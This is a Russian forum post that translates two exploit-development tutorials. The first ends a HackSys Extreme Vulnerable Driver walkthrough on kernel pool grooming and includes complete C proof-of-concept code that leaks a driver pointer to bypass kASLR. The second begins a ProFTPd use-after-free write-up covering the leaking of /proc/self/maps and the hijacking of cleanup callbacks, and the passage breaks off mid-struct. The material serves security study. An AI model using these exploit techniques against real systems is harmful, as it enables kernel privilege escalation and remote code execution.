Эти 0x10 байтов плюс следующие 0x20 байтов должны быть возвращены нам в пользовательском режиме, поскольку мы указали, что хотим выйти за пределы блока пула, следовательно получаем чтение out-of-bounds. Запустив POC, мы увидим, что это так!
Мы видим, за вычетом некоторого безумия порядка байтов, которое происходит, мы
успешно прочитали память из соседнего блока! Это очень полезно, но помните,
какова наша цель - мы хотим обойти kASLR. Это означает, что нам нужно получить
какой-то указатель либо из драйвера, либо из самого ntoskrnl.exe
. Как мы
можем этого добиться, если утечка может происходить только из следующего
соседнего чанка пула? Для этого нам нужно выполнить некоторые дополнительные
шаги, чтобы гарантировать, что, пока мы находимся в сегменте kLFH, соседний
фрагмент (-ы) всегда содержит какой-то полезный указатель, который может быть
пропущен нами. Этот процесс называется «pool grooming».
Ведём собаку к парикмахеру
*Тут игра слов, так как собачий парикмахер - groomer. А мы выполняем pool grooming
До этого момента мы знали, что можем считывать данные из соседних блоков пула,
но на данный момент рядом с этими блоками нет ничего интересного. Итак, как
нам с этим бороться? Давайте поговорим о нескольких предположениях:
_POOL_HEADER
)NonPagedPoolNx
непосредственно после блока, выделенного HEVD в MemoryDisclosureNonPagedPoolNx
.Как мы можем это сделать? Давайте как бы визуализируем, что делает kLFH для обслуживания запросов размером 0x70 байт (технически 0x80 с заголовком). Обратите внимание, что следующая диаграмма предназначена только для наглядности.
Как мы видим, на этой странице в пуле есть несколько свободных слотов. Если мы
разместили объект размером 0x80 (технически 0x70, где _POOL_HEADER создается
динамически), у нас нет способа узнать, или нет способа принудительно
выполнить выделение в предсказуемом месте. При этом kLFH может вообще не быть
включен из-за эвристического требования 16 последовательных выделений одного и
того же размера. Что нам остаётся? Что ж, что мы можем сделать, так это
сначала убедиться, что kLFH включен, а затем также «заполнить» все «дыры» или
освобожденные выделения в данный момент набором объектов. Это заставит
диспетчер памяти полностью выделить новую страницу для обслуживания новых
выделений. Этот процесс, когда диспетчер памяти выделяет новую страницу для
будущих распределений в ведре kLFH, идеален, поскольку дает нам «чистый лист»
для начала без случайных свободных фрагментов, которые можно было бы
обслуживать через случайные промежутки времени. Мы хотим сделать это до того,
как мы вызовем IOCTL, который запускает функцию
TriggerMemoryDisclosureNonPagedPoolNx
в MemoryDisclosureNonPagedPoolNx.c
.
Это связано с тем, что мы хотим, чтобы выделение для уязвимого фрагмента пула,
который будет того же размера, что и объекты, которые мы используем для
«распыления» пула, чтобы заполнить дыры, чтобы в конечном итоге находилось на
той же странице, что и распыляемые объекты, которые мы контролируем. . Это
позволит нам очистить пул и убедиться, что мы можем читать из блока, который
содержит некоторую полезную информацию.
Вспомним предыдущее изображение, на котором показано, где в настоящее время заканчивается уязвимый фрагмент пула.
Органически, без какой-либо обработки / распыления, мы видим, что на этой
странице есть несколько других типов объектов. Примечательно, что мы можем
увидеть несколько Even
тегов. Этот тег на самом деле является тегом,
используемым для объекта, созданного с помощью вызова CreateEven
t, Windows
API, который фактически может быть вызван из пользовательского режима.
Прототип можно увидеть ниже.
Эта функция возвращает дескриптор объекта, который технически является блоком пула в режиме ядра. Это напоминает то, когда мы получаем дескриптор драйвера для вызова CreateFile. Дескриптор - это промежуточный объект, с которым мы можем взаимодействовать из пользовательского режима, в котором есть компонент режима ядра.
Давайте обновим код, чтобы использовать CreateEventA
для распыления
произвольного количества объектов, 5000.
После выполнения обновленного кода и установки точки останова в месте копирования с уязвимым фрагментом пула взгляните на состояние страницы, содержащей фрагмент пула.
Это еще не идеальное состояние, но обратите внимание, как мы повлияли на макет страницы. Теперь мы видим, что есть много свободных объектов и несколько объектов событий. Это напоминает поведение, когда мы получаем новую страницу для уязвимого фрагмента, так как наш уязвимый фрагмент представляет собой предисловие с несколькими объектами событий, а наш уязвимый фрагмент выделяется сразу после него. Мы также можем выполнить дополнительный анализ, проверив предыдущую страницу (напомним, что для наших целей в этой 64-битной установке Windows 10 размер страницы составляет 0x1000 байт из 4 КБ).
Кажется, что все предыдущие свободные блоки были заполнены объектами событий!
Однако обратите внимание, что расположение пула не идеальное. Это связано с тем, что другие компоненты ядра также используют kLFH backet для выделения байтов 0x70 (0x80 с _POOL_HEADER).
Теперь, когда мы знаем, что можем влиять на поведение пула от распыления, цель
теперь состоит в том, чтобы выделить всю новую страницу объектами событий, а
затем освободить все остальные объекты на странице, которую мы контролируем,
на новой странице. Это позволит нам затем, сразу после освобождения любого
другого объекта, создать другой объект того же размера, что и объект (ы)
события, который мы только что освободили. Таким образом, kLFH из-за
оптимизации заполнит свободные слоты новыми объектами, которые мы размещаем.
Это связано с тем, что текущая страница - единственная страница, на которой
должны быть свободные слоты в NonPagedPoolNx
для выделений, которые
обслуживаются kLFH для размера 0x70 (0x80, включая заголовок).
Хотелось бы, чтобы схема бассейна выглядела так (пока):
Code:Copy to clipboard
EVENT_OBJECT | NEWLY_CREATED_OBJECT | EVENT_OBJECT | NEWLY_CREATED_OBJECT | EVENT_OBJECT | NEWLY_CREATED_OBJECT | EVENT_OBJECT | NEWLY_CREATED_OBJECT
Итак, какой объект мы хотели бы поместить в «дыры», которые мы хотим проткнуть? Это тот объект, который мы хотим вернуть обратно в пользовательский режим, поэтому он должен содержать либо ценную информацию о ядре, либо указатель на функцию. Это самая сложная / самая утомительная часть повреждения пула - найти что-то, что не только имеет необходимый размер, но и содержит ценную информацию. Это особенно важно, если вы не можете использовать общий объект Windows и вам нужно использовать структуру, специфичную для драйвера.
В любом случае, следующая часть немного «упрощена». Потребуется немного реверсинга/отладки для вызовов, которые выделяют блоки пула для объектов, чтобы найти подходящего кандидата. Подойти к этому, по крайней мере, на мой взгляд, можно следующим образом:
ExAllocatePoolWithTag
или аналогичных APINonPagedPoolNx
, найдите выделение в NonPagedPoolNx
)Однако, что немного проще, потому что мы можем использовать исходный код,
давайте найдем подходящий объект в HEVD. В HEVD есть объект, содержащий
указатель на функцию, который называется USE_AFTER_FREE_NON_PAGED_POOL_NX
.
Он построен как таковой в UseAfterFreeNonPagedPoolNx.h
Эта структура используется в вызове функции в UseAfterFreeNonPagedPoolNx.c
,
а член Buffer инициализируется символами 0x41.
Член обратного вызова, который имеет тип FunctionCallback
и определен как
таковой в Common.h
: typedef void (*FunctionPointer) (void);
, установлен на
адрес памяти UaFObjectCallbackNonPagedPoolNx
, который функция, расположенная
в UseAfterFreeNonPagedPoolNx.c
, показала два изображения тому назад! Это
означает, что член этой структуры будет содержать указатель на функцию в HEVD,
адрес режима ядра. По имени мы знаем, что этот объект будет размещен на
NonPagedPoolNx
, но вы все равно можете проверить это, выполнив статический
анализ при вызове ExAllocatePoolWithTag
, чтобы увидеть, какое значение
указано для POOL_TYPE
.
Это кажется идеальным кандидатом! Цель будет состоять в том, чтобы вернуть эту структуру в пользовательский режим с уязвимостью чтения за пределами диапазона! Единственный фактор, который остается, - это размер - нам нужно убедиться, что этот объект также имеет размер 0x70 байт, чтобы он попал на ту же страницу пула, которую мы контролируем.
Давайте проверим это в WinDbg. Чтобы получить доступ к функции
AllocateUaFObjectNonPagedPoolNx
, нам необходимо взаимодействовать с
обработчиком IOCTL для этой конкретной подпрограммы, которая определена в
NonPagedPoolNx.c
.
Код IOCTL, необходимый для выполнения этой процедуры, для краткости:
0x00222053
. Давайте установим точку останова на
HEVD!AllocateUaFObjectNonPagedPoolNx
в WinDbg, вызовем DeviceIoControl
для
этого IOCTL без каких-либо буферов и посмотрим, какой размер используется в
вызове ExAllocatePoolWithTag
для выделения этого объекта.
Слегка надуманный, но тем не менее верный, создаваемый здесь объект также
имеет размер 0x70 байт (без структуры _POOL_HEADER
) - это означает, что этот
объект должен быть размещен рядом с любыми свободными слотами на странице, на
которой живут наши объекты событий! Давайте обновим наш POC, чтобы выполнить
следующее:
USE_AFTER_FREE_NON_PAGED_POOL_NX
Используя подпрограмму memcpy (RtlCopyMemory
) из исходной подпрограммы для
вызова IOCTL за пределами диапазона в уязвимый фрагмент пула, мы можем
проверить фрагмент целевого пула, используемый в операции копирования, который
будет фрагментом, возвращаемым обратно пользователю. режим, который может
продемонстрировать, что наши объекты событий теперь находятся рядом с
несколькими объектами USE_AFTER_FREE_NON_PAGED_POOL_NX
.
Мы видим, что фрагменты с тегами Hack, которые являются фрагментами
USE_AFTER_FREE_NON_PAGED_POOL_NX
, в значительной степени примыкают к
объектам событий! Даже если не каждый объект идеально примыкает к предыдущему
объекту события, нас это не беспокоит, потому что уязвимость позволяет нам
указать, какую часть данных из соседних фрагментов мы в любом случае хотели бы
вернуть в пользовательский режим. Это означает, что мы можем указать
произвольное количество, например 0x1000, и это то, сколько байтов будет
возвращено из соседних фрагментов.
Поскольку существует много смежных блоков, это приведет к утечке информации. Причина этого в том, что kLFH имеет некоторую "фанковость". Это не обязательно связано с какой-либо «рандомизацией» kLFH, как я узнал после разговора с моим коллегой Ярденом Шафиром, где будут находиться свободные фрагменты/где будут происходить распределения, но из-за сложности расположения подсегментов, кеширование и т. д. Вещи могут усложняться довольно быстро. Это выходит за рамки этого сообщения в блоге.
Однако это становится проблемой только тогда, когда клиенты могут читать за пределами границы, но не могут указать, сколько байтов за пределами границы они могут прочитать. Это привело бы к тому, что эксплойтам нужно было запускать несколько раз, чтобы утечка действительного адреса ядра, пока чанки не стали смежными. Тем не менее, я уверен, что тот, кто лучше меня разбирается в pool grooming, легко сможет это понять .
Теперь, когда мы можем подготовить пул достаточно прилично, следующим шагом будет замена остальных объектов событий на уязвимые объекты из-за уязвимости чтения за пределами границ! Желаемая планировка пула будет такая:
Code:Copy to clipboard
VULNERABLE_OBJECT | USE_AFTER_FREE_NON_PAGED_POOL_NX | VULNERABLE_OBJECT | USE_AFTER_FREE_NON_PAGED_POOL_NX | VULNERABLE_OBJECT | USE_AFTER_FREE_NON_PAGED_POOL_NX | VULNERABLE_OBJECT | USE_AFTER_FREE_NON_PAGED_POOL_NX
Почему мы хотим, чтобы это был желаемый макет? Каждый из VULNERABLE_OBJECTS
может читать дополнительные данные из соседних блоков. Поскольку
(теоретически) следующий смежный блок должен быть
USE_AFTER_FREE_NON_PAGED_POOL_NX
, мы должны вернуть весь этот блок в
пользовательский режим. Поскольку эта структура содержит указатель на функцию
в HEVD, мы можем обойти kASLR путем утечки указателя из HEVD! Для этого нам
потребуется выполнить следующие действия:
На втором этапе мы не хотим выполнять 2500 вызовов DeviceIoControl
,
поскольку существует вероятность того, что один из последних адресов памяти на
странице будет установлен для одного из наших уязвимых объектов. Если мы
укажем, что хотим прочитать 0x1000 байт, и если наш уязвимый объект находится
в конце последней допустимой страницы для пула, он попытается прочитать с
адреса 0x1000 байт, который может находиться на странице, которая в настоящее
время не зафиксирована. в память, вызывая DOS, ссылаясь на недопустимую
память. Чтобы компенсировать это, мы хотим выделить только 100 уязвимых
объектов, поскольку один из них почти наверняка будет размещен в соседнем
блоке с объектом USE_AFTER_FREE_NON_PAGED_POOL_NX
.
Для этого давайте обновим код следующим образом.
После освобождения объектов событий и обратного чтения данных из соседних
фрагментов запускается цикл for для анализа вывода на предмет наличия всего,
что имеет расширенный знак (адрес режима ядра). Поскольку выходной буфер будет
возвращен в виде массива unsigned long long
, размер 64-битного адреса, и
поскольку адрес, из которого мы хотим произвести утечку, является первым
членом соседнего фрагмента, после утечки _POOL_HEADER
его следует разместить
в чистую 64-битную переменную и поэтому легко разбирается. После того, как мы
пропустили адрес указателя на функцию, мы можем вычислить расстояние от
функции до базы HEVD, добавить расстояние, а затем получить базу HEVD!
Выполнение финального эксплойта с использованием той же точки останова при
последнем вызове HEVD!Memcpy
(помните, мы выполняем 100 вызовов последней
подпрограммы DeviceIoControl
, которая вызывает подпрограмму RtlCopyMemory
,
то есть нам нужно выполнить 99 раз, чтобы вернуть последнюю копию в
пользовательский режим), мы можем увидеть макет пула.
Приведенное выше изображение немного сложно расшифровать, учитывая, что и
уязвимые блоки, и блоки USE_AFTER_FREE_NON_PAGED_POOL_NX
имеют теги Hack.
Однако, если мы возьмем смежный фрагмент с текущим фрагментом, который
является уязвимым фрагментом, который мы можем прочитать и обозначить
звездочкой, и после его анализа как объекта
USE_AFTER_FREE_NON_PAGED_POOL_NX
, мы ясно увидим, что этот объект имеет
правильный тип и содержит указатель на функцию в HEVD!
Затем мы можем вычесть расстояние от этого указателя функции до основания HEVD
и соответствующим образом обновить наш код. Мы видим, что расстояние
составляет 0x880cc
, поэтому добавить это в код несложно.
После выполнения расчета мы видим, что мы обошли kASLR из-за Low-Integrity,
без каких-либо вызовов EnumDeviceDrivers
или аналогичных API!
Окончательный код можно увидеть ниже.
C:Copy to clipboard
// HackSysExtreme Vulnerable Driver: Pool Overflow/Memory Disclosure
// Author: Connor McGarr(@33y0re)
// Vulnerability description: Arbitrary read primitive
// User-mode clients have the ability to control the size of an allocated pool chunk on the NonPagedPoolNx
// This pool chunk is 0x80 bytes (including the header)
// There is an object, a UafObject created by HEVD, that is 0x80 bytes in size (including the header) and contains a function pointer that is to be read -- this must be used due to the kLFH, which is only groomable for sizes in the same bucket
// CreateEventA can be used to allocate 0x80 byte objects, including the size of the header, which can also be used for grooming
#include <windows.h>
#include <stdio.h>
// Fill the holes in the NonPagedPoolNx of 0x80 bytes
void memLeak(HANDLE driverHandle)
{
// Array to manage handles opened by CreateEventA
HANDLE eventObjects[5000];
// Spray 5000 objects to fill the new page
for (int i = 0; i <= 5000; i++)
{
// Create the objects
HANDLE tempHandle = CreateEventA(
NULL,
FALSE,
FALSE,
NULL
);
// Assign the handles to the array
eventObjects[i] = tempHandle;
}
// Check to see if the first handle is a valid handle
if (eventObjects[0] == NULL)
{
printf("[-] Error! Unable to spray CreateEventA objects! Error: 0x%lx\n", GetLastError());
exit(-1);
}
else
{
printf("[+] Sprayed CreateEventA objects to fill holes of size 0x80!\n");
// Close half of the handles
for (int i = 0; i <= 5000; i += 2)
{
BOOL tempHandle1 = CloseHandle(
eventObjects[i]
);
eventObjects[i] = NULL;
// Error handling
if (!tempHandle1)
{
printf("[-] Error! Unable to free the CreateEventA objects! Error: 0x%lx\n", GetLastError());
exit(-1);
}
}
printf("[+] Poked holes in the new pool page!\n");
// Allocate UaF Objects in place of the poked holes by just invoking the IOCTL, which will call ExAllocatePoolWithTag for a UAF object
// kLFH should automatically fill the freed holes with the UAF objects
DWORD bytesReturned;
for (int i = 0; i < 2500; i++)
{
DeviceIoControl(
driverHandle,
0x00222053,
NULL,
0,
NULL,
0,
&bytesReturned,
NULL
);
}
printf("[+] Allocated objects containing a pointer to HEVD in place of the freed CreateEventA objects!\n");
// Close the rest of the event objects
for (int i = 1; i <= 5000; i += 2)
{
BOOL tempHandle2 = CloseHandle(
eventObjects[i]
);
eventObjects[i] = NULL;
// Error handling
if (!tempHandle2)
{
printf("[-] Error! Unable to free the rest of the CreateEventA objects! Error: 0x%lx\n", GetLastError());
exit(-1);
}
}
// Array to store the buffer (output buffer for DeviceIoControl) and the base address
unsigned long long outputBuffer[100];
unsigned long long hevdBase;
// Everything is now, theoretically, [FREE, UAFOBJ, FREE, UAFOBJ, FREE, UAFOBJ], barring any more randomization from the kLFH
// Fill some of the holes, but not all, with vulnerable chunks that can read out-of-bounds (we don't want to fill up all the way to avoid reading from a page that isn't mapped)
for (int i = 0; i <= 100; i++)
{
// Return buffer
DWORD bytesReturned1;
DeviceIoControl(
driverHandle,
0x0022204f,
NULL,
0,
&outputBuffer,
sizeof(outputBuffer),
&bytesReturned1,
NULL
);
}
printf("[+] Successfully triggered the out-of-bounds read!\n");
// Parse the output
for (int i = 0; i <= 100; i++)
{
// Kernel mode address?
if ((outputBuffer[i] & 0xfffff00000000000) == 0xfffff00000000000)
{
printf("[+] Address of function pointer in HEVD.sys: 0x%llx\n", outputBuffer[i]);
printf("[+] Base address of HEVD.sys: 0x%llx\n", outputBuffer[i] - 0x880CC);
// Store the variable for future usage
hevdBase = outputBuffer[i] + 0x880CC;
break;
}
}
}
}
void main(void)
{
// Open a handle to the driver
printf("[+] Obtaining handle to HEVD.sys...\n");
HANDLE drvHandle = CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0x0,
NULL,
OPEN_EXISTING,
0x0,
NULL
);
// Error handling
if (drvHandle == (HANDLE)-1)
{
printf("[-] Error! Unable to open a handle to the driver. Error: 0x%lx\n", GetLastError());
exit(-1);
}
else
{
memLeak(drvHandle);
}
}
Вывод
Эксплойты ядра из браузеров, которые изолированы в песочнице, требуют таких
утечек для успешного повышения привилегий. Во второй части этой серии мы
объединим эту ошибку с уязвимостью переполнения пула HEVD, чтобы получить
примитив чтения / записи и выполнить успешное EoP! Не стесняйтесь обращаться с
комментариями, вопросами или исправлениями!
Мир, любовь и позитив
От ТС
Напомню, что эта статья является переводом. Оригинал доступен
тут
Вторая часть статьи уже доступна на сайте
автора,
сделаю и её перевод как только появится время.
Перевод:
Azrv3l cпециально для xss.is
Уважаемые комрады, сегодняшняя проповедь посвящена созданию PoC для уязвимости Use-After-Free в ProFTPd, которая может быть активирована после аутентификации и может привести к удаленному выполнению кода после аутентификации. Пожалуйста, присаживайтесь и слушайте мою сказку.
Введение
В этом посте будет проанализирована уязвимость и способы ее использования в обход всех средств защиты от эксплойтов памяти, имеющихся по умолчанию (ASLR, PIE, NX, Full RELRO, Stack Canaries и т.д.)
Прежде всего хочу отметить:
- @ DUKPT_, который также работал над PoC для этой уязвимости, за свой подход к перезаписи gid_tab->pool, который я решил использовать в эксплойте (будет объяснено позже в этом посте)
- Antonio Morales @nosoynadiemas за обнаружение этой уязвимости, вы можете найти дополнительную информацию о том, как он ее обнаружил, в его посте Fuzzing sockets, часть 1: FTP-серверы
Уязвимость
Чтобы вызвать уязвимость, нам нужно сначала запустить передачу нового канала данных, а затем прервать передачу через командный канал, пока канал данных все еще открыт.
Используя канал данных, мы можем заполнить динамическую память, чтобы перезаписать структуру resp_pool, которая на данный момент является session.curr_cmd_rec->pool.
Результатом успешного срабатывания уязвимости является полный контроль над resp_pool:
gef➤ p p
$3 = (struct pool_rec *) 0x555555708220
gef➤ p resp_pool
$4 = (pool *) 0x555555708220
gef➤ p session.curr_cmd_rec->pool
$5 = (struct pool_rec *) 0x555555708220
gef➤ p *resp_pool
$6 = {
first = 0x4141414141414141,
last = 0x4141414141414141,
cleanups = 0x4141414141414141,
sub_pools = 0x4141414141414141,
sub_next = 0x4141414141414141,
sub_prev = 0x4141414141414141,
parent = 0x4141414141414141,
free_first_avail = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
tag = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>
}Click to expand...
Очевидно, что, поскольку в структуре нет действительных указателей, мы получаем ошибку сегментации в этой строке кода:
C:Copy to clipboard
first_avail = blok->h.first_avail
blok, который совпадает с p->last значением, в то время равен 0x4141414141414141
Распределитель пула ProFTPd
Распределитель пула ProFTPd такой же, как и у Apache.
Распределение здесь происходит с использованием palloc() и pcalloc(), которые являются функциями оболочки для alloc_pool().
ProFTPd Pool Allocator работает с блоками, которые являются фактическими кусками кучи glibc.
Каждый блок имеет структуру заголовка block_hdr, которая определяет его:
C:Copy to clipboard
union block_hdr {
union align a;
/* Padding */
#if defined(_LP64) || defined(__LP64__)
char pad[32];
#endif
/* Actual header */
struct {
void *endp;
union block_hdr *next;
void *first_avail;
} h;
};
**- blok- >h.endp указывает на конец текущего блока
- blok->h.next указывает на следующий блок в связанном списке
- blok->h.first_avail указывает на первую доступную память в этом блоке**
Это код alloc_pool():
C:Copy to clipboard
static void *alloc_pool(struct pool_rec *p, size_t reqsz, int exact) {
size_t nclicks = 1 + ((reqsz - 1) / CLICK_SZ);
size_t sz = nclicks * CLICK_SZ;
union block_hdr *blok;
char *first_avail, *new_first_avail;
blok = p->last;
if (blok == NULL) {
errno = EINVAL;
return NULL;
}
first_avail = blok->h.first_avail;
if (reqsz == 0) {
errno = EINVAL;
return NULL;
}
new_first_avail = first_avail + sz;
if (new_first_avail <= (char *) blok->h.endp) {
blok->h.first_avail = new_first_avail;
return (void *) first_avail;
}
pr_alarms_block();
blok = new_block(sz, exact);
p->last->h.next = blok;
p->last = blok;
first_avail = blok->h.first_avail;
blok->h.first_avail = sz + (char *) blok->h.first_avail;
pr_alarms_unblock();
return (void *) first_avail;
}
Как мы видим, он сначала пытается использовать память в том же блоке, если нет места, выделяет новый блок с помощью new_block() и обновляет последний блок пула при p->last.
Заголовки пула, определенные структурой pool_rec, сохраняются сразу после первого блока, созданного для этого пула, как мы можем видеть на make_sub_pool(), который создает новый пул:
C:Copy to clipboard
struct pool_rec *make_sub_pool(struct pool_rec *p) {
union block_hdr *blok;
pool *new_pool;
pr_alarms_block();
blok = new_block(0, FALSE);
new_pool = (pool *) blok->h.first_avail;
blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail;
memset(new_pool, 0, sizeof(struct pool_rec));
new_pool->free_first_avail = blok->h.first_avail;
new_pool->first = new_pool->last = blok;
if (p) {
new_pool->parent = p;
new_pool->sub_next = p->sub_pools;
if (new_pool->sub_next)
new_pool->sub_next->sub_prev = new_pool;
p->sub_pools = new_pool;
}
pr_alarms_unblock();
return new_pool;
}
Фактически make_sub_pool() также отвечает за создание постоянного пула, у которого нет родителя. При этом p будет NULL.
Глядя на код make_sub_pool(), вы можете понять, что он получает новый блок, и сразу после заголовков block_hdr вводятся заголовки pool_rec, а blok->h.first_avail обновляется, чтобы указывать сразу после него.
Затем инициализируются записи нового созданного пула.
Запись p->cleanups - это указатель на структуру cleanup_t:
C:Copy to clipboard
typedef struct cleanup {
void *data;
void (*plain_cleanup_cb)(void *);
void (*child_cleanup_cb)(void *);
struct cleanup *next;
} cleanup_t;
Очистки интерпретируются функцией run_cleanups() и регистрируются функцией register_cleanup().
Цепочку блоков можно освободить с помощью free_blocks():
C:Copy to clipboard
static void free_blocks(union block_hdr *blok, const char *pool_tag) {
union block_hdr *old_free_list = block_freelist;
if (!blok)
return;
block_freelist = blok;
while (blok->h.next) {
chk_on_blk_list(blok, old_free_list, pool_tag);
blok->h.first_avail = (char *) (blok + 1);
blok = blok->h.next;
}
chk_on_blk_list(blok, old_free_list, pool_tag);
blok->h.first_avail = (char *) (blok + 1);
blok->h.next = old_free_list;
}
Анализ эксплуатации
У нас есть контроль над действительно интересной структурой pool_rec, теперь нам может потребоваться поиск примитивов, которые позволят нам получить что-то полезное от этой уязвимости, например, получение удаленного выполнения кода.
Утечка адресов памяти
Очевидно, что для использования этой уязвимости предсказуемые адреса памяти являются обязательным требованием перед использованием примитивов, поскольку в этом случае эксплуатация заключается в игре с указателями, структурами и записями в память.
Утечка адресов памяти в этой ситуации действительно сложна, поскольку мы находимся в процессе очистки/завершения сеанса и запускаем уязвимость, которая нам действительно нужна для создания прерывания.
Сначала я подумал о чтении файла /proc/self/maps, который может читать любой процесс, даже с низкими привилегиями.
Возможно, теоретически это сработает, к сожалению, ProFTPd использует системный вызов stat для получения размера файла, так как stat по псевдофайлам, таким как maps , возвращает ноль, это прерывает передачу, и 0 байтов возвращается клиенту по каналу данных.
Подумав о дополнительных способах сделать это, я понял о mod_copy, модуле в ProFTPd, который позволяет копировать файлы на сервере.
Мы можем использовать mod_copy для копирования файла из/proc/self/ maps в /tmp, и, оказавшись там, мы выполняем обычную передачу файла в /tmp, который сейчас не является псевдо-файлом, поэтому /proc/self /maps контент будет возвращен злоумышленнику.
Эта утечка действительно интересна, поскольку она дает вам адреса для каждого сегмента и даже имя файла общих библиотек, которые иногда содержат версии, такие как libc-2.31.so, и это действительно интересно с точки зрения надежности эксплойта, мы могли бы использовать смещения для конкретных libc версии.
Взлом потока управления
Мы должны преобразовать наш контроль над session.curr_cmd_rec→pool в любой примитив записи, позволяющий нам каким-то образом достичь run_cleanups() с произвольной структурой cleanup_t.
При поиске записи записи в структуру не было ничего полезного, что позволило бы нам напрямую писать примитивы «write-what-where а» (это было бы намного проще).
Вместо этого единственный способ записать что-либо на произвольных адресах - это использовать make_sub_pool() (в pool.c: 415), который в какой-то момент вызывается с cmd->pool в качестве аргумента:
C:Copy to clipboard
struct pool_rec *make_sub_pool(struct pool_rec *p) {
union block_hdr *blok;
pool *new_pool;
pr_alarms_block();
blok = new_block(0, FALSE);
new_pool = (pool *) blok->h.first_avail;
blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail;
memset(new_pool, 0, sizeof(struct pool_rec));
new_pool->free_first_avail = blok->h.first_avail;
new_pool->first = new_pool->last = blok;
if (p) {
new_pool->parent = p;
new_pool->sub_next = p->sub_pools;
if (new_pool->sub_next)
new_pool->sub_next->sub_prev = new_pool;
p->sub_pools = new_pool;
}
pr_alarms_unblock();
return new_pool;
}
Эта функция вызывается на main.c: 287 из функции _dispatch() с нашим управляемым пулом в качестве аргумента:
C:Copy to clipboard
...
if (cmd->tmp_pool == NULL) {
cmd->tmp_pool = make_sub_pool(cmd->pool);
pr_pool_tag(cmd->tmp_pool, "cmd_rec tmp pool");
}
...
Как вы можете видеть, new_pool->sub_next теперь имеет значение p-> sub_pools, которое контролируется, затем мы вводим в new_pool->sub_next-> sub_prev указатель new_pool.
Это означает, что мы можем записать на любой произвольный адрес значение new_pool, которое, по-видимому, не так полезно, поскольку единственное отношение, которое у нас есть с этим вновь созданным пулом cmd->tmp_pool, - это cmd->tmp_pool->parent равен resp_pool, поскольку мы являемся для него родительским пулом.
Также единственное значение, которое мы контролируем, - это new_pool-> sub_next, которое мы фактически используем для примитива записи.
Какие еще есть интересные примитивы?
В предыдущем разделе мы объяснили, как работает распределитель пула ProFTPd, когда создается новый пул, p->first и p->last указывают на блоки, используемые для пула, нас интересует p->last, поскольку это блок, который фактически используется, как мы можем видеть на alloc_pool()в pool.c: 570:
C:Copy to clipboard
...
blok = p->last;
if (blok == NULL) {
errno = EINVAL;
return NULL;
}
first_avail = blok->h.first_avail;
...
first_avail - это указатель на предел между используемыми данными и доступным свободным пространством, с которого мы начнем выделять память.
Наш пул передается в pstrdup() несколько раз для выделения строки:
C:Copy to clipboard
char *pstrdup(pool *p, const char *str) {
char *res;
size_t len;
if (p == NULL ||
str == NULL) {
errno = EINVAL;
return NULL;
}
len = strlen(str) + 1;
res = palloc(p, len);
if (res != NULL) {
sstrncpy(res, str, len);
}
return res;
}
Эта функция вызывает palloc(),который в итоге вызывает alloc_pool().
Выделения в основном представляют собой неконтролируемые строки, которые кажутся нам бесполезными, за исключением одного выделения в cmd.c: 373 в функции pr_cmd_get_displayable_str():
C:Copy to clipboard
...
if (pr_table_add(cmd->notes, pstrdup(cmd->pool, "displayable-str"),
pstrdup(cmd->pool, res), 0) < 0) {
if (errno != EEXIST) {
pr_trace_msg(trace_channel, 4,
"error setting 'displayable-str' command note: %s", strerror(errno));
}
}
...
Как видите, cmd->pool (наш управляемый пул) передается в pstrdup(), как видно из cmd.c: 363:
C:Copy to clipboard
...
if (argc > 0) {
register unsigned int i;
res = pstrcat(p, res, pr_fs_decode_path(p, argv[0]), NULL);
for (i = 1; i < argc; i++) {
res = pstrcat(p, res, " ", pr_fs_decode_path(p, argv[i]), NULL);
}
}
...
res указывает на нашу последнюю отправленную команду
C:Copy to clipboard
...
if (pr_table_add(cmd->notes, pstrdup(cmd->pool, "displayable-str"),
pstrdup(cmd->pool, res), 0) < 0) {
if (errno != EEXIST) {
pr_trace_msg(trace_channel, 4,
"error setting 'displayable-str' command note: %s", strerror(errno));
}
}
...
Это означает, что если мы отправим произвольные данные вместо команды, мы сможем ввести пользовательские данные в пространство блока пула, и, поскольку мы можем повредить p->last, мы можем сделать так, чтобы blok-> h.first_avail указывал на любой адрес, который мы хотим, а это означает мы можем перезаписать через команду любые данные.
К сожалению, это не похоже на наше повреждение из канала данных, поскольку здесь наши команды обрабатываются как строки, а не двоичные данные, как это делает канал данных.
Это означает, что мы очень ограничены в перезаписи структур или любых полезных данных.
Кроме того, некоторые выделения происходят раньше, и куча от начального значения blok->h.first_avail до этого значения, когда происходит pstrdup() в нашей команде будет заполнена строками и недействительными указателями, которые, вероятно, могут закончиться сбоем до достижения run_cleanups().
Изначально я решил использовать blok->h.first_avail для перезаписи записей cmd->tmp_pool произвольными данными.
Этот пул освобождается с помощью destroy_pool() на main.c: 409 в функции _dispatch():
C:Copy to clipboard
...
destroy_pool(cmd->tmp_pool);
cmd->tmp_pool = NULL;
...
Это означает, что если мы будем контролировать значение cmd->tmp_pool-> cleanups при достижении clear_pool(), у нас будет возможность управлять RIP и RDI после вызова run_cleanups():
C:Copy to clipboard
void destroy_pool(pool *p) {
if (p == NULL) {
return;
}
pr_alarms_block();
if (p->parent) {
if (p->parent->sub_pools == p) {
p->parent->sub_pools = p->sub_next;
}
if (p->sub_prev) {
p->sub_prev->sub_next = p->sub_next;
}
if (p->sub_next) {
p->sub_next->sub_prev = p->sub_prev;
}
}
clear_pool(p);
free_blocks(p->first, p->tag);
pr_alarms_unblock();
}
Как вы можете видеть, clear_pool() вызывается, но после доступа к некоторым записям пула, которые должны быть либо NULL, либо действительным адресом с возможностью записи.
После вызова clear_pool() идет так:
C:Copy to clipboard
static void clear_pool(struct pool_rec *p) {
/* Sanity check. */
if (p == NULL) {
return;
}
pr_alarms_block();
run_cleanups(p->cleanups);
p->cleanups = NULL;
while (p->sub_pools) {
destroy_pool(p->sub_pools);
}
p->sub_pools = NULL;
free_blocks(p->first->h.next, p->tag);
p->first->h.next = NULL;
p->last = p->first;
p->first->h.first_avail = p->free_first_avail;
pr_alarms_unblock();
}
Мы видим, что run_cleanups() вызывается напрямую, без дополнительных проверок/операций записи в память.
При вызове функции run_cleanups():
C:Copy to clipboard
static void run_cleanups(cleanup_t *c) {
while (c) {
if (c->plain_cleanup_cb) {
(*c->plain_cleanup_cb)(c->data);
}
c = c->next;
}
}
Глядя на структуру cleanup_t:
C:Copy to clipboard
typedef struct cleanup {
void *data;
